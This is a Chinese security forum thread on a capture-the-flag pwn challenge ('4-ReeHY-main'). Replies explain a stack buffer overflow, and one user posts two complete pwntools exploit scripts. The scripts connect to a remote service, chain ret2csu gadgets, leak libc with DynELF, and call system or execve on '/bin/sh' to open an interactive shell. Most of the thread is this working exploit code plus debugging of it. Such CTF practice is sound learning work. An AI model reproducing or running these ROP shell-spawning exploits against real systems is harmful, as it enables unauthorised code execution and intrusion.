能力值:
( LV3,RANK:35 )
2 楼
请问你是从哪里得知要填充哪些数据避免memcpy的呢?看了不是很明白
能力值:
( LV12,RANK:380 )
3 楼
返無歸一
请问你是从哪里得知要填充哪些数据避免memcpy的呢?看了不是很明白
从局部变量的布局可以看出memcpy的参数dest和nbytes都在buf的下方,溢出时这两个参数都会被修改,如果让这两个参数修改成一些无效的值会崩溃掉,所以就得用一些不影响流程的值,比如用0填充nbytes的位置,这样memcpy复制了0个字节到dest,对程序运行没有任何影响
能力值:
( LV2,RANK:10 )
4 楼
import pwn
import traceback
e = pwn.ELF('4-ReeHY-main')
write_len = 0x200
write_got = e.got["write"]
memcpy_got = e.got["memcpy"]
read_got = e.got["read"]
gadget1 = 0x00400D9A
gadget2 = 0x00400D80
s = pwn.remote('211.159.216.90', 51888)
r = s.recvuntil('\n')
print (r)
s.send("lcys")
r = s.recvlines(10)
for row in r:
print(row)
s.send("1")
r = s.recvuntil('\n')
print(r)
vulfun_addr = 0x004009D1
def com_gadget(part1, part2, jmp2, arg1 = 0x0, arg2 = 0x0, arg3 = 0x0):
payload = pwn.p64(part1) # part1 entry pop_rbx_pop_rbp_pop_r12_pop_r13_pop_r14_pop_r15_ret
payload += pwn.p64(0x0) # rbx be 0x0
payload += pwn.p64(0x1) # rbp be 0x1
payload += pwn.p64(jmp2) # r12 jump to
payload += pwn.p64(arg3) # r13 -> rdx arg3
payload += pwn.p64(arg2) # r14 -> rsi arg2
payload += pwn.p64(arg1) # r15 -> edi arg1
payload += pwn.p64(part2) # part2 entry will call [rbx + r12 + 0x8]
payload += 'A' * 56 # junk
return payload
def leak(address):
pay = "A" * (0x90 - 8)
pay += pwn.p64(0x0)
pay += "A" * 8
# call memcpy
pay += com_gadget(gadget1, gadget2, memcpy_got, 0x006020AC, 0x00400A9C, 0x1)
# call write
pay += com_gadget(gadget1, gadget2, write_got, 0x1, address, write_len)
pay += pwn.p64(vulfun_addr)
paylen = "-%d" % len(pay)
pay_head = paylen
pay_head += "\0" * (0xA - len(paylen))
pay_head += "1"
pay_head += "\0" * 9
payload = pay_head + pay
try:
s.send(payload)
print(len(payload))
r = s.recvuntil("content\n")
buf = s.recv(write_len)
data = buf[:write_len]
pwn.log.info("%#x => %s" % (address, (data or '').encode('hex')))
except:
traceback.print_exc()
print ("%#x" % address)
exit(0)
return data
d = pwn.DynELF(leak, elf=e)
system_addr = d.lookup('system', 'libc.so')
print "system_addr=" + hex(system_addr)
bssaddr = 0x00602080
pop_rdi = 0x00400da3
sh_addr = system_addr
sh = "/bin/sh\0"
pay = "A" * (0x90 - 8)
pay += pwn.p64(0x0)
pay += "A" * 8
# call read
pay += com_gadget(gadget1, gadget2, read_got, 0x0, bssaddr, len(sh))
pay += pwn.p64(pop_rdi)
pay += pwn.p64(bssaddr)
pay += pwn.p64(system_addr)
paylen = "-%d" % len(pay)
pay_head = paylen
pay_head += "\0" * (0xA - len(paylen))
pay_head += "1"
pay_head += "\0" * 9
s.send(pay_head + pay)
s.send(sh)
s.interactive() 第一次搞pwn 帮忙看下,leak 执行后每次栈都会增加0x100 最后导致程序挂掉,这样一般怎么处理的呢?
能力值:
( LV2,RANK:10 )
5 楼
贴代码为啥乱了
能力值:
( LV2,RANK:10 )
6 楼
能力值:
( LV3,RANK:35 )
7 楼
hyabcd
从局部变量的布局可以看出memcpy的参数dest和nbytes都在buf的下方,溢出时这两个参数都会被修改,如果让这两个参数修改成一些无效的值会崩溃掉,所以就得用一些不影响流程的值,比如用0填充nb ...
多谢,看到malloc free就没想到用stack based buffer overflow也行
能力值:
( LV12,RANK:380 )
8 楼
lcys
帖子可以编辑,修正了下,大神帮看下
有个疑问,为啥你的rop链最后要加上56个A填充
能力值:
( LV2,RANK:10 )
9 楼
hyabcd
有个疑问,为啥你的rop链最后要加上56个A填充
56个A填充,主要是为了平衡这个地方
能力值:
( LV2,RANK:10 )
10 楼
今天再调了下 搞清楚了,leak次数多了会把栈全部破坏掉,stack的底部由系统填写argv/envp信息,然后才开始向下调用main函数
system函数会fork->execve, execve第三个参数是环境变量(envp ),被leak的时候破坏掉了,这个值格式不对的化就会执行失败。
现在不使用system 直接调用execve把第3个参数传null就可以了
搞这个熟悉了下pwn的库 以前没有用过
# -*- coding: utf-8 -*-
import pwn
import traceback
e = pwn.ELF('./4-ReeHY-main')
write_len = 0x500
write_got = e.got["write"]
read_got = e.got["read"]
gadget1 = 0x00400D9
gadget2 = 0x00400D80
g_size = str(0x80000000)
s = pwn.remote('211.159.216.90', 51888)
r = s.recvuntil('\n')
print (r)
s.send("lcys")
r = s.recvlines(10)
for row in r:
print(row)
s.send("1")
r = s.recvuntil('\n')
print(r)
vulfun_addr = 0x004009D1
def com_gadget(part1, part2, jmp2, arg1 = 0x0, arg2 = 0x0, arg3 = 0x0):
payload = pwn.p64(part1) # part1 entry pop_rbx_pop_rbp_pop_r12_pop_r13_pop_r14_pop_r15_ret
payload += pwn.p64(0x0) # rbx be 0x0
payload += pwn.p64(0x1) # rbp be 0x1
payload += pwn.p64(jmp2) # r12 jump to
payload += pwn.p64(arg3) # r13 -> rdx arg3
payload += pwn.p64(arg2) # r14 -> rsi arg2
payload += pwn.p64(arg1) # r15 -> edi arg1
payload += pwn.p64(part2) # part2 entry will call [rbx + r12 + 0x8]
payload += 'A' * 56 # junk return payload
def leak(address):
pay = pwn.p64(0x0)
pay += "A" * (0x90 - 24)
pay += pwn.p64(0x006020AC)
pay += pwn.p32(0x0)
pay += pwn.p32(0x1)
pay += "A" * 8
# call write
pay += com_gadget(gadget1, gadget2, write_got, 0x1, address, write_len)
pay += pwn.p64(vulfun_addr)
pay_head = g_size
pay_head += "1"
pay_head += "\0" * 9
payload = pay_head + pay
try:
s.send(payload)
print(len(payload))
r = s.recvuntil("content\n")
buf = s.recv(write_len)
data = buf[:write_len]
pwn.log.info("%#x => %s" % (address, (data or '').encode('hex')))
except:
traceback.print_exc()
print ("%#x" % address)
exit(0)
return data
d = pwn.DynELF(leak, elf=e)
# system_addr = d.lookup("__libc_system", "libc")
execve_addr = d.lookup("execve", "libc")
print "execve_addr=" + hex(execve_addr)
bssaddr = 0x00602080
arg1 = bssaddr+0x30
sh = "/bin/sh\x00"
pay = "A" * (0x90 - 8)
pay += pwn.p64(0x0)
pay += "A" * 8
# call read
pay += com_gadget(gadget1, gadget2, read_got, 0x0, bssaddr, 0x8)
# call read
pay += com_gadget(gadget1, gadget2, read_got, 0x0, arg1, len(sh))
# call execve
pay += com_gadget(gadget1, gadget2, bssaddr, arg1, 0x0, 0x0)
pay += pwn.p64(vulfun_addr)
pay_head = g_size
pay_head += "1"
pay_head += "\0" * 9
s.send(pay_head + pay)
s.send(pwn.p64(execve_addr))
s.send(sh)
s.interactive()